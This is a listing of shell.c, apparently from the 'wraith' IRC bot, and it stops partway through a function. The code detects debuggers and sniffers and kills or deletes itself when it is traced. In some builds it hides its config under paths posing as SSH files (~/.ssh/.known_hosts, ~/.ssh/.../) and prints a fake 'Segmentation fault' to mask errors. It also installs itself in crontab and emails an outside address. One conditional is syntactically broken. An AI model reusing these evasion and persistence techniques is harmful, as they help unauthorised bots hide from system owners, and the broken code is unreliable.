shell.c 27 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091
  1. /*
  2. * shell.c -- handles:
  3. *
  4. * All shell related functions
  5. * -shell_exec()
  6. * -botconfig parsing
  7. * -check_*()
  8. * -crontab functions
  9. *
  10. */
  11. #include "common.h"
  12. #include "shell.h"
  13. #include "cfg.h"
  14. #include "flags.h"
  15. #include "tandem.h"
  16. #include "main.h"
  17. #include "dccutil.h"
  18. #include "modules.h"
  19. #include "misc.h"
  20. #include "misc_file.h"
  21. #include "bg.h"
  22. #include "stat.h"
  23. #include "users.h"
  24. #include <sys/types.h>
  25. #include <pwd.h>
  26. #include <signal.h>
  27. #ifdef S_ANTITRACE
  28. #include <sys/ptrace.h>
  29. #include <sys/wait.h>
  30. #endif /* S_ANTITRACE */
  31. #include <sys/utsname.h>
  32. #include <pwd.h>
  33. #include <errno.h>
  34. #include <net/if.h>
  35. #include <sys/ioctl.h>
  36. #include <sys/socket.h>
  37. #include <libgen.h>
  38. #include <ctype.h>
  39. #include <fcntl.h>
  40. #include <sys/stat.h>
  41. #include <unistd.h>
  42. #include <dirent.h>
  43. extern struct cfg_entry CFG_LOGIN, CFG_BADPROCESS, CFG_PROCESSLIST, CFG_PROMISC,
  44. CFG_TRACE, CFG_HIJACK;
  45. extern char tempdir[], *binname, owneremail[], userfile[];
  46. extern time_t now;
  47. extern struct userrec *userlist;
  48. extern uid_t myuid;
  49. extern conf_t conf;
  50. int clear_tmp()
  51. {
  52. DIR *tmp = NULL;
  53. struct dirent *dir_ent = NULL;
  54. if (!(tmp = opendir(tempdir))) return 1;
  55. while ((dir_ent = readdir(tmp))) {
  56. if (strncmp(dir_ent->d_name, ".pid.", 4) && strncmp(dir_ent->d_name, ".u", 2) && strcmp(dir_ent->d_name, ".bin.old")
  57. && strcmp(dir_ent->d_name, ".") && strcmp(dir_ent->d_name, ".un") && strcmp(dir_ent->d_name, "..")) {
  58. char *file = NULL;
  59. file = calloc(1, strlen(dir_ent->d_name) + strlen(tempdir) + 1);
  60. strcat(file, tempdir);
  61. strcat(file, dir_ent->d_name);
  62. file[strlen(file)] = 0;
  63. sdprintf("clear_tmp: %s", file);
  64. unlink(file);
  65. free(file);
  66. }
  67. }
  68. closedir(tmp);
  69. return 0;
  70. }
  71. #ifdef LEAF
  72. void check_mypid()
  73. {
  74. if (getpid() != checkpid(conf.bot->nick, NULL)) {
  75. module_entry *me = NULL;
  76. fatal(STR("getpid() does not match pid in file. Possible cloned process, exiting.."), 1);
  77. if ((me = module_find("server", 0, 0))) {
  78. Function *func = me->funcs;
  79. (func[SERVER_NUKESERVER]) ("cloned process");
  80. }
  81. botnet_send_bye();
  82. exit(1);
  83. }
  84. }
  85. #endif /* LEAF */
  86. #ifdef S_LASTCHECK
  87. char last_buf[128] = "";
  88. #endif /* S_LASTCHECK */
  89. void check_last() {
  90. #ifdef S_LASTCHECK
  91. if (!strcmp((char *) CFG_LOGIN.ldata ? CFG_LOGIN.ldata : CFG_LOGIN.gdata ? CFG_LOGIN.gdata : "ignore", "ignore"))
  92. return;
  93. if (conf.username) {
  94. char *out = NULL, buf[50] = "";
  95. sprintf(buf, STR("last %s"), conf.username);
  96. if (shell_exec(buf, NULL, &out, NULL)) {
  97. if (out) {
  98. char *p = NULL;
  99. p = strchr(out, '\n');
  100. if (p)
  101. *p = 0;
  102. if (strlen(out) > 10) {
  103. if (last_buf[0]) {
  104. if (strncmp(last_buf, out, sizeof(last_buf))) {
  105. char *work = NULL;
  106. work = malloc(strlen(out) + 7 + 2 + 1);
  107. sprintf(work, "Login: %s", out);
  108. detected(DETECT_LOGIN, work);
  109. free(work);
  110. }
  111. }
  112. strncpyz(last_buf, out, sizeof(last_buf));
  113. }
  114. free(out);
  115. }
  116. }
  117. }
  118. #endif /* S_LASTCHECK */
  119. }
  120. void check_processes()
  121. {
  122. #ifdef S_PROCESSCHECK
  123. char *proclist = NULL, *out = NULL, *p = NULL, *np = NULL, *curp = NULL, buf[1024] = "", bin[128] = "";
  124. if (!strcmp((char *) CFG_BADPROCESS.ldata ? CFG_BADPROCESS.ldata : CFG_BADPROCESS.gdata ? CFG_BADPROCESS.gdata : "ignore", "ignore"))
  125. return;
  126. proclist = (char *) (CFG_PROCESSLIST.ldata && ((char *) CFG_PROCESSLIST.ldata)[0] ?
  127. CFG_PROCESSLIST.ldata : CFG_PROCESSLIST.gdata && ((char *) CFG_PROCESSLIST.gdata)[0] ? CFG_PROCESSLIST.gdata : NULL);
  128. if (!proclist)
  129. return;
  130. if (!shell_exec(STR("ps x"), NULL, &out, NULL))
  131. return;
  132. /* Get this binary's filename */
  133. strncpyz(buf, binname, sizeof(buf));
  134. p = strrchr(buf, '/');
  135. if (p) {
  136. p++;
  137. strncpyz(bin, p, sizeof(bin));
  138. } else {
  139. bin[0] = 0;
  140. }
  141. /* Fix up the "permitted processes" list */
  142. p = calloc(1, strlen(proclist) + strlen(bin) + 6);
  143. strcpy(p, proclist);
  144. strcat(p, " ");
  145. strcat(p, bin);
  146. strcat(p, " ");
  147. proclist = p;
  148. curp = out;
  149. while (curp) {
  150. np = strchr(curp, '\n');
  151. if (np)
  152. *np++ = 0;
  153. if (atoi(curp) > 0) {
  154. char *pid = NULL, *tty = NULL, *stat = NULL, *time = NULL, cmd[512] = "", line[2048] = "";
  155. strncpyz(line, curp, sizeof(line));
  156. /* it's a process line */
  157. /* Assuming format: pid tty stat time cmd */
  158. pid = newsplit(&curp);
  159. tty = newsplit(&curp);
  160. stat = newsplit(&curp);
  161. time = newsplit(&curp);
  162. strncpyz(cmd, curp, sizeof(cmd));
  163. /* skip any <defunct> procs "/bin/sh -c" crontab stuff and binname crontab stuff */
  164. if (!strstr(cmd, "<defunct>" && !strncmp(cmd, "/bin/sh -c", 10)
  165. && !strncmp(cmd, binname, strlen(binname))) {
  166. /* get rid of any args */
  167. if ((p = strchr(cmd, ' ')))
  168. *p = 0;
  169. /* remove [] or () */
  170. if (strlen(cmd)) {
  171. p = cmd + strlen(cmd) - 1;
  172. if (((cmd[0] == '(') && (*p == ')')) || ((cmd[0] == '[') && (*p == ']'))) {
  173. *p = 0;
  174. strcpy(buf, cmd + 1);
  175. strcpy(cmd, buf);
  176. }
  177. }
  178. /* remove path */
  179. if ((p = strrchr(cmd, '/'))) {
  180. p++;
  181. strcpy(buf, p);
  182. strcpy(cmd, buf);
  183. }
  184. /* skip "ps" */
  185. if (strcmp(cmd, "ps")) {
  186. /* see if proc's in permitted list */
  187. strcat(cmd, " ");
  188. if ((p = strstr(proclist, cmd))) {
  189. /* Remove from permitted list */
  190. while (*p != ' ')
  191. *p++ = 1;
  192. } else {
  193. char wrk[16384] = "";
  194. egg_snprintf(wrk, sizeof wrk, STR("Unexpected process: %s"), line);
  195. detected(DETECT_PROCESS, wrk);
  196. }
  197. }
  198. }
  199. }
  200. curp = np;
  201. }
  202. free(proclist);
  203. if (out)
  204. free(out);
  205. #endif /* S_PROCESSCHECK */
  206. }
  207. void check_promisc()
  208. {
  209. #ifdef S_PROMISC
  210. #ifdef SIOCGIFCONF
  211. struct ifreq ifreq, *ifr = NULL;
  212. struct ifconf ifcnf;
  213. char *cp = NULL, *cplim = NULL, buf[8192] = "";
  214. int sock;
  215. if (!strcmp((char *) CFG_PROMISC.ldata ? CFG_PROMISC.ldata : CFG_PROMISC.gdata ? CFG_PROMISC.gdata : "ignore", "ignore"))
  216. return;
  217. sock = socket(AF_INET, SOCK_STREAM, 0);
  218. ifcnf.ifc_len = 8191;
  219. ifcnf.ifc_buf = buf;
  220. if (ioctl(sock, SIOCGIFCONF, (char *) &ifcnf) < 0) {
  221. close(sock);
  222. return;
  223. }
  224. ifr = ifcnf.ifc_req;
  225. cplim = buf + ifcnf.ifc_len;
  226. for (cp = buf; cp < cplim; cp += sizeof(ifr->ifr_name) + sizeof(ifr->ifr_addr)) {
  227. ifr = (struct ifreq *) cp;
  228. ifreq = *ifr;
  229. if (!ioctl(sock, SIOCGIFFLAGS, (char *) &ifreq)) {
  230. if (ifreq.ifr_flags & IFF_PROMISC) {
  231. close(sock);
  232. detected(DETECT_PROMISC, STR("Detected promiscuous mode"));
  233. return;
  234. }
  235. }
  236. }
  237. close(sock);
  238. #endif /* SIOCGIFCONF */
  239. #endif /* S_PROMISC */
  240. }
  241. #ifdef S_ANTITRACE
  242. int traced = 0;
  243. static void got_trace(int z)
  244. {
  245. traced = 0;
  246. }
  247. #endif /* S_ANTITRACE */
  248. void check_trace()
  249. {
  250. #ifdef S_ANTITRACE
  251. int x, parent, i;
  252. struct sigaction sv, *oldsv = NULL;
  253. if (!strcmp((char *) CFG_TRACE.ldata ? CFG_TRACE.ldata : CFG_TRACE.gdata ? CFG_TRACE.gdata : "ignore", "ignore"))
  254. return;
  255. parent = getpid();
  256. #ifdef __linux__
  257. egg_bzero(&sv, sizeof(sv));
  258. sv.sa_handler = got_trace;
  259. sigemptyset(&sv.sa_mask);
  260. oldsv = NULL;
  261. sigaction(SIGTRAP, &sv, oldsv);
  262. traced = 1;
  263. asm("INT3");
  264. sigaction(SIGTRAP, oldsv, NULL);
  265. if (traced)
  266. detected(DETECT_TRACE, STR("I'm being traced!"));
  267. else {
  268. x = fork();
  269. if (x == -1)
  270. return;
  271. else if (x == 0) {
  272. i = ptrace(PTRACE_ATTACH, parent, 0, 0);
  273. if (i == (-1) && errno == EPERM)
  274. detected(DETECT_TRACE, STR("I'm being traced!"));
  275. else {
  276. waitpid(parent, &i, 0);
  277. kill(parent, SIGCHLD);
  278. ptrace(PTRACE_DETACH, parent, 0, 0);
  279. kill(parent, SIGCHLD);
  280. }
  281. exit(0);
  282. } else
  283. wait(&i);
  284. }
  285. #endif /* __linux__ */
  286. #ifdef __FreeBSD__
  287. x = fork();
  288. if (x == -1)
  289. return;
  290. else if (x == 0) {
  291. i = ptrace(PT_ATTACH, parent, 0, 0);
  292. if (i == (-1) && errno == EBUSY)
  293. detected(DETECT_TRACE, STR("I'm being traced"));
  294. else {
  295. wait(&i);
  296. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  297. kill(parent, SIGCHLD);
  298. wait(&i);
  299. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  300. wait(&i);
  301. }
  302. exit(0);
  303. } else
  304. waitpid(x, NULL, 0);
  305. #endif /* __FreeBSD__ */
  306. #ifdef __OpenBSD__
  307. x = fork();
  308. if (x == -1)
  309. return;
  310. else if (x == 0) {
  311. i = ptrace(PT_ATTACH, parent, 0, 0);
  312. if (i == (-1) && errno == EBUSY)
  313. detected(DETECT_TRACE, STR("I'm being traced"));
  314. else {
  315. wait(&i);
  316. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  317. kill(parent, SIGCHLD);
  318. wait(&i);
  319. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  320. wait(&i);
  321. }
  322. exit(0);
  323. } else
  324. waitpid(x, NULL, 0);
  325. #endif /* __OpenBSD__ */
  326. #endif /* S_ANTITRACE */
  327. }
  328. int shell_exec(char *cmdline, char *input, char **output, char **erroutput)
  329. {
  330. FILE *inpFile = NULL, *outFile = NULL, *errFile = NULL;
  331. char tmpfile[161] = "";
  332. int x, fd;
  333. int parent = getpid();
  334. if (!cmdline)
  335. return 0;
  336. /* Set up temp files */
  337. /* always use mkstemp() when handling temp filess! -dizz */
  338. sprintf(tmpfile, STR("%s.in-XXXXXX"), tempdir);
  339. if ((fd = mkstemp(tmpfile)) == -1 || (inpFile = fdopen(fd, "w+")) == NULL) {
  340. if (fd != -1) {
  341. unlink(tmpfile);
  342. close(fd);
  343. }
  344. putlog(LOG_ERRORS, "*" , STR("exec: Couldn't open '%s': %s"), tmpfile, strerror(errno));
  345. return 0;
  346. }
  347. unlink(tmpfile);
  348. if (input) {
  349. if (fwrite(input, 1, strlen(input), inpFile) != strlen(input)) {
  350. fclose(inpFile);
  351. putlog(LOG_ERRORS, "*", STR("exec: Couldn't write to '%s': %s"), tmpfile, strerror(errno));
  352. return 0;
  353. }
  354. fseek(inpFile, 0, SEEK_SET);
  355. }
  356. unlink(tmpfile);
  357. sprintf(tmpfile, STR("%s.err-XXXXXX"), tempdir);
  358. if ((fd = mkstemp(tmpfile)) == -1 || (errFile = fdopen(fd, "w+")) == NULL) {
  359. if (fd != -1) {
  360. unlink(tmpfile);
  361. close(fd);
  362. }
  363. putlog(LOG_ERRORS, "*", STR("exec: Couldn't open '%s': %s"), tmpfile, strerror(errno));
  364. return 0;
  365. }
  366. unlink(tmpfile);
  367. sprintf(tmpfile, STR("%s.out-XXXXXX"), tempdir);
  368. if ((fd = mkstemp(tmpfile)) == -1 || (outFile = fdopen(fd, "w+")) == NULL) {
  369. if (fd != -1) {
  370. unlink(tmpfile);
  371. close(fd);
  372. }
  373. putlog(LOG_ERRORS, "*", STR("exec: Couldn't open '%s': %s"), tmpfile, strerror(errno));
  374. return 0;
  375. }
  376. unlink(tmpfile);
  377. x = fork();
  378. if (x == -1) {
  379. putlog(LOG_ERRORS, "*", STR("exec: fork() failed: %s"), strerror(errno));
  380. fclose(inpFile);
  381. fclose(errFile);
  382. fclose(outFile);
  383. return 0;
  384. }
  385. if (x) {
  386. /* Parent: wait for the child to complete */
  387. int st = 0;
  388. waitpid(x, &st, 0);
  389. /* Now read the files into the buffers */
  390. fclose(inpFile);
  391. fflush(outFile);
  392. fflush(errFile);
  393. if (erroutput) {
  394. char *buf = NULL;
  395. int fs;
  396. fseek(errFile, 0, SEEK_END);
  397. fs = ftell(errFile);
  398. if (fs == 0) {
  399. (*erroutput) = NULL;
  400. } else {
  401. buf = calloc(1, fs + 1);
  402. fseek(errFile, 0, SEEK_SET);
  403. fread(buf, 1, fs, errFile);
  404. buf[fs] = 0;
  405. (*erroutput) = buf;
  406. }
  407. }
  408. fclose(errFile);
  409. if (output) {
  410. char *buf;
  411. int fs;
  412. fseek(outFile, 0, SEEK_END);
  413. fs = ftell(outFile);
  414. if (fs == 0) {
  415. (*output) = NULL;
  416. } else {
  417. buf = calloc(1, fs + 1);
  418. fseek(outFile, 0, SEEK_SET);
  419. fread(buf, 1, fs, outFile);
  420. buf[fs] = 0;
  421. (*output) = buf;
  422. }
  423. }
  424. fclose(outFile);
  425. return 1;
  426. } else {
  427. /* Child: make fd's and set them up as std* */
  428. int ind, outd, errd;
  429. char *argv[4] = { NULL, NULL, NULL, NULL };
  430. ind = fileno(inpFile);
  431. outd = fileno(outFile);
  432. errd = fileno(errFile);
  433. if (dup2(ind, STDIN_FILENO) == (-1)) {
  434. kill(parent, SIGCHLD);
  435. exit(1);
  436. }
  437. if (dup2(outd, STDOUT_FILENO) == (-1)) {
  438. kill(parent, SIGCHLD);
  439. exit(1);
  440. }
  441. if (dup2(errd, STDERR_FILENO) == (-1)) {
  442. kill(parent, SIGCHLD);
  443. exit(1);
  444. }
  445. argv[0] = "sh";
  446. argv[1] = "-c";
  447. argv[2] = cmdline;
  448. argv[3] = NULL;
  449. execvp(argv[0], &argv[0]);
  450. kill(parent, SIGCHLD);
  451. exit(1);
  452. }
  453. }
  454. void detected(int code, char *msg)
  455. {
  456. #ifdef LEAF
  457. module_entry *me = NULL;
  458. #endif /* LEAF */
  459. char *p = NULL, tmp[512] = "";
  460. struct userrec *u = NULL;
  461. struct flag_record fr = { FR_GLOBAL, 0, 0, 0, 0};
  462. int act;
  463. u = get_user_by_handle(userlist, conf.bot->nick);
  464. #ifdef S_LASTCHECK
  465. if (code == DETECT_LOGIN)
  466. p = (char *) (CFG_LOGIN.ldata ? CFG_LOGIN.ldata : (CFG_LOGIN.gdata ? CFG_LOGIN.gdata : NULL));
  467. #endif /* S_LASTCHECK */
  468. #ifdef S_ANTITRACE
  469. if (code == DETECT_TRACE)
  470. p = (char *) (CFG_TRACE.ldata ? CFG_TRACE.ldata : (CFG_TRACE.gdata ? CFG_TRACE.gdata : NULL));
  471. #endif /* S_ANTITRACE */
  472. #ifdef S_PROMISC
  473. if (code == DETECT_PROMISC)
  474. p = (char *) (CFG_PROMISC.ldata ? CFG_PROMISC.ldata : (CFG_PROMISC.gdata ? CFG_PROMISC.gdata : NULL));
  475. #endif /* S_PROMISC */
  476. #ifdef S_PROCESSCHECK
  477. if (code == DETECT_PROCESS)
  478. p = (char *) (CFG_BADPROCESS.ldata ? CFG_BADPROCESS.ldata : (CFG_BADPROCESS.gdata ? CFG_BADPROCESS.gdata : NULL));
  479. #endif /* S_PROMISC */
  480. #ifdef S_HIJACKCHECK
  481. if (code == DETECT_SIGCONT)
  482. p = (char *) (CFG_HIJACK.ldata ? CFG_HIJACK.ldata : (CFG_HIJACK.gdata ? CFG_HIJACK.gdata : NULL));
  483. #endif /* S_PROMISC */
  484. if (!p)
  485. act = DET_WARN;
  486. else if (!strcmp(p, STR("die")))
  487. act = DET_DIE;
  488. else if (!strcmp(p, STR("reject")))
  489. act = DET_REJECT;
  490. else if (!strcmp(p, STR("suicide")))
  491. act = DET_SUICIDE;
  492. else if (!strcmp(p, STR("ignore")))
  493. act = DET_IGNORE;
  494. else
  495. act = DET_WARN;
  496. switch (act) {
  497. case DET_IGNORE:
  498. break;
  499. case DET_WARN:
  500. putlog(LOG_WARN, "*", msg);
  501. break;
  502. case DET_REJECT:
  503. do_fork();
  504. putlog(LOG_WARN, "*", STR("Setting myself +d: %s"), msg);
  505. sprintf(tmp, STR("+d: %s"), msg);
  506. set_user(&USERENTRY_COMMENT, u, tmp);
  507. get_user_flagrec(u, &fr, 0);
  508. fr.global = USER_DEOP | USER_BOT;
  509. set_user_flagrec(u, &fr, 0);
  510. sleep(1);
  511. break;
  512. case DET_DIE:
  513. putlog(LOG_WARN, "*", STR("Dying: %s"), msg);
  514. sprintf(tmp, STR("Dying: %s"), msg);
  515. set_user(&USERENTRY_COMMENT, u, tmp);
  516. #ifdef LEAF
  517. if ((me = module_find("server", 0, 0))) {
  518. Function *func = me->funcs;
  519. (func[SERVER_NUKESERVER]) ("BBL");
  520. }
  521. #endif /* LEAF */
  522. sleep(1);
  523. fatal(msg, 0);
  524. break;
  525. case DET_SUICIDE:
  526. putlog(LOG_WARN, "*", STR("Comitting suicide: %s"), msg);
  527. sprintf(tmp, STR("Suicide: %s"), msg);
  528. set_user(&USERENTRY_COMMENT, u, tmp);
  529. #ifdef LEAF
  530. if ((me = module_find("server", 0, 0))) {
  531. Function *func = me->funcs;
  532. (func[SERVER_NUKESERVER]) ("HARAKIRI!!");
  533. }
  534. #endif /* LEAF */
  535. sleep(1);
  536. unlink(binname);
  537. #ifdef HUB
  538. unlink(userfile);
  539. sprintf(tmp, STR("%s~"), userfile);
  540. unlink(tmp);
  541. #endif /* HUB */
  542. fatal(msg, 0);
  543. break;
  544. }
  545. }
  546. char *werr_tostr(int errnum)
  547. {
  548. switch (errnum) {
  549. case ERR_BINSTAT:
  550. return STR("Cannot access binary");
  551. case ERR_BADPASS:
  552. return STR("Incorrect password");
  553. case ERR_BINMOD:
  554. return STR("Cannot chmod() binary");
  555. case ERR_PASSWD:
  556. return STR("Cannot access the global passwd file");
  557. case ERR_WRONGBINDIR:
  558. return STR("Wrong directory/binary name");
  559. case ERR_CONFSTAT:
  560. #ifdef LEAF
  561. return STR("Cannot access config directory (~/.ssh/)");
  562. #else
  563. return STR("Cannot access config directory (./)");
  564. #endif /* LEAF */
  565. case ERR_TMPSTAT:
  566. #ifdef LEAF
  567. return STR("Cannot access tmp directory (~/.ssh/.../)");
  568. #else
  569. return STR("Cannot access config directory (./tmp/)");
  570. #endif /* LEAF */
  571. case ERR_CONFDIRMOD:
  572. #ifdef LEAF
  573. return STR("Cannot chmod() config directory (~/.ssh/)");
  574. #else
  575. return STR("Cannot chmod() config directory (./)");
  576. #endif /* LEAF */
  577. case ERR_CONFMOD:
  578. #ifdef LEAF
  579. return STR("Cannot chmod() config (~/.ssh/.known_hosts/)");
  580. #else
  581. return STR("Cannot chmod() config (./conf)");
  582. #endif /* LEAF */
  583. case ERR_TMPMOD:
  584. #ifdef LEAF
  585. return STR("Cannot chmod() tmp directory (~/.ssh/.../)");
  586. #else
  587. return STR("Cannot chmod() tmp directory (./tmp)");
  588. #endif /* LEAF */
  589. case ERR_NOCONF:
  590. #ifdef LEAF
  591. return STR("The local config is missing (~/.ssh/.known_hosts)");
  592. #else
  593. return STR("The local config is missing (./conf)");
  594. #endif /* LEAF */
  595. case ERR_CONFBADENC:
  596. return STR("Encryption in config is wrong/corrupt");
  597. case ERR_WRONGUID:
  598. return STR("UID in conf does not match geteuid()");
  599. case ERR_WRONGUNAME:
  600. return STR("Uname in conf does not match uname()");
  601. case ERR_BADCONF:
  602. return STR("Config file is incomplete");
  603. case ERR_BADBOT:
  604. return STR("No such botnick");
  605. case ERR_BOTDISABLED:
  606. return STR("Bot is disabled, remove '/' in config");
  607. case ERR_NOBOTS:
  608. return STR("There are no bots in the config! Please use ./binary -C to edit");
  609. default:
  610. return STR("Unforseen error");
  611. }
  612. }
  613. void werr(int errnum)
  614. {
  615. /* [1]+ Done ls --color=auto -A -CF
  616. [1]+ Killed bash
  617. */
  618. /*
  619. int x = 0;
  620. unsigned long job = randint(2) + 1; */
  621. /* printf("[%lu] %lu%lu%lu%lu%lu\n", job, randint(2) + 1, randint(8) + 1, randint(8) + 1, errnum); */
  622. /* printf("\n[%lu]+ Killed rm -rf /\r\n", job); */
  623. /*
  624. if (checkedpass) {
  625. printf("[%lu] %d\n", job, getpid());
  626. }
  627. */
  628. /* printf("\n[%lu]+ Stopped %s\r\n", job, basename(binname)); */
  629. sdprintf(STR("Error %d: %s"), errnum, werr_tostr(errnum));
  630. printf(STR("*** Error code %d\n\n"), errnum);
  631. printf(STR("Segmentation fault\n"));
  632. fatal("", 0);
  633. }
  634. int email(char *subject, char *msg, int who)
  635. {
  636. struct utsname un;
  637. char open[2048] = "", addrs[1024] = "";
  638. int mail = 0, sendmail = 0;
  639. FILE *f = NULL;
  640. uname(&un);
  641. if (is_file("/usr/sbin/sendmail"))
  642. sendmail++;
  643. else if (is_file("/usr/bin/mail"))
  644. mail++;
  645. else {
  646. putlog(LOG_WARN, "*", "I Have no usable mail client.");
  647. return 1;
  648. }
  649. if (who & EMAIL_OWNERS) {
  650. sprintf(addrs, "%s", replace(owneremail, ",", " "));
  651. }
  652. if (who & EMAIL_TEAM) {
  653. if (addrs[0])
  654. sprintf(addrs, "%s wraith@shatow.net", addrs);
  655. else
  656. sprintf(addrs, "wraith@shatow.net");
  657. }
  658. if (sendmail)
  659. sprintf(open, "/usr/sbin/sendmail -t");
  660. else if (mail)
  661. sprintf(open, "/usr/bin/mail %s -a \"From: %s@%s\" -s \"%s\" -a \"Content-Type: text/plain\"", addrs, conf.bot->nick ? conf.bot->nick : "none", un.nodename, subject);
  662. if ((f = popen(open, "w"))) {
  663. if (sendmail) {
  664. fprintf(f, "To: %s\n", addrs);
  665. fprintf(f, "From: %s@%s\n", conf.bot->nick ? conf.bot->nick : conf.username, un.nodename);
  666. fprintf(f, "Subject: %s\n", subject);
  667. fprintf(f, "Content-Type: text/plain\n");
  668. }
  669. fprintf(f, "%s\n", msg);
  670. if (fflush(f))
  671. return 1;
  672. if (pclose(f))
  673. return 1;
  674. } else
  675. return 1;
  676. return 0;
  677. }
  678. void baduname(char *confhas, char *my_uname) {
  679. char *tmpfile = NULL;
  680. int send = 0;
  681. tmpfile = malloc(strlen(tempdir) + 3 + 1);
  682. sprintf(tmpfile, "%s.un", tempdir);
  683. sdprintf("CHECKING %s", tmpfile);
  684. if (is_file(tmpfile)) {
  685. struct stat ss;
  686. time_t diff;
  687. stat(tmpfile, &ss);
  688. diff = now - ss.st_mtime;
  689. if (diff >= 86400) send++; /* only send once a day */
  690. } else {
  691. FILE *fp = NULL;
  692. if ((fp = fopen(tmpfile, "w"))) {
  693. fprintf(fp, "\n");
  694. fflush(fp);
  695. fclose(fp);
  696. send++; /* only send if we could write the file. */
  697. }
  698. }
  699. if (send) {
  700. struct utsname un;
  701. char msg[501] = "", subject[31] = "";
  702. uname(&un);
  703. egg_snprintf(subject, sizeof subject, "CONF/UNAME() mismatch notice");
  704. egg_snprintf(msg, sizeof msg, "This is an auto email from a wraith bot which has you in it's OWNER_EMAIL list..\n \nThe uname() output on this box has changed, probably due to a kernel upgrade...\nMy login is: %s\nConf : %s\nUname(): %s\n \nThis email will only be sent once a day while this error is present.\nYou need to login to my shell (%s) and fix my local config.\n", conf.username, confhas, my_uname, un.nodename);
  705. email(subject, msg, EMAIL_OWNERS);
  706. }
  707. free(tmpfile);
  708. }
  709. char *homedir()
  710. {
  711. static char homedir[DIRMAX] = "";
  712. if (!homedir || (homedir && !homedir[0])) {
  713. char tmp[DIRMAX] = "";
  714. if (conf.homedir)
  715. egg_snprintf(tmp, sizeof tmp, "%s", conf.homedir);
  716. else {
  717. struct passwd *pw = NULL;
  718. ContextNote("Calling getpwuid");
  719. pw = getpwuid(myuid);
  720. egg_snprintf(tmp, sizeof tmp, "%s", pw->pw_dir);
  721. }
  722. ContextNote("Calling realpath");
  723. realpath(tmp, homedir); /* this will convert lame home dirs of /home/blah->/usr/home/blah */
  724. }
  725. return homedir;
  726. }
  727. char *my_username()
  728. {
  729. static char username[DIRMAX] = "";
  730. if (!username || (username && !username[0])) {
  731. struct passwd *pw = NULL;
  732. ContextNote("Calling getpwuid");
  733. pw = getpwuid(myuid);
  734. egg_snprintf(username, sizeof username, "%s", pw->pw_name);
  735. }
  736. return username;
  737. }
  738. char *confdir()
  739. {
  740. static char confdir[DIRMAX] = "";
  741. if (!confdir || (confdir && !confdir[0])) {
  742. #ifdef LEAF
  743. {
  744. egg_snprintf(confdir, sizeof confdir, "%s/.ssh", homedir());
  745. }
  746. #endif /* LEAF */
  747. #ifdef HUB
  748. {
  749. char *buf = NULL;
  750. buf = strdup(binname);
  751. egg_snprintf(confdir, sizeof confdir, "%s", dirname(buf));
  752. free(buf);
  753. }
  754. #endif /* HUB */
  755. }
  756. return confdir;
  757. }
  758. char *my_uname()
  759. {
  760. static char os_uname[250] = "";
  761. if (!os_uname || (os_uname && !os_uname[0])) {
  762. char *unix_n = NULL, *vers_n = NULL;
  763. struct utsname un;
  764. if (uname(&un) < 0) {
  765. unix_n = "*unkown*";
  766. vers_n = "";
  767. } else {
  768. unix_n = un.nodename;
  769. #ifdef __FreeBSD__
  770. vers_n = un.release;
  771. #else /* __linux__ */
  772. vers_n = un.version;
  773. #endif /* __FreeBSD__ */
  774. }
  775. egg_snprintf(os_uname, sizeof os_uname, "%s %s", unix_n, vers_n);
  776. }
  777. return os_uname;
  778. }
  779. void check_crontab()
  780. {
  781. int i = 0;
  782. #ifdef LEAF
  783. if (!conf.bot->localhub)
  784. fatal(STR("something is wrong."), 0);
  785. #endif /* LEAF */
  786. if (!(i = crontab_exists())) {
  787. crontab_create(5);
  788. if (!(i = crontab_exists()))
  789. printf(STR("* Error writing crontab entry.\n"));
  790. }
  791. }
  792. void crontab_del() {
  793. char *tmpfile = NULL, *p = NULL, buf[2048] = "";
  794. tmpfile = malloc(strlen(binname) + 100);
  795. strcpy(tmpfile, binname);
  796. if (!(p = strrchr(tmpfile, '/')))
  797. return;
  798. p++;
  799. strcpy(p, ".ctb");
  800. sprintf(buf, STR("crontab -l | grep -v \"%s\" | grep -v \"^#\" | grep -v \"^\\$\" > %s"), binname, tmpfile);
  801. if (shell_exec(buf, NULL, NULL, NULL)) {
  802. sprintf(buf, STR("crontab %s"), tmpfile);
  803. shell_exec(buf, NULL, NULL, NULL);
  804. }
  805. unlink(tmpfile);
  806. }
  807. int crontab_exists() {
  808. char buf[2048] = "", *out = NULL;
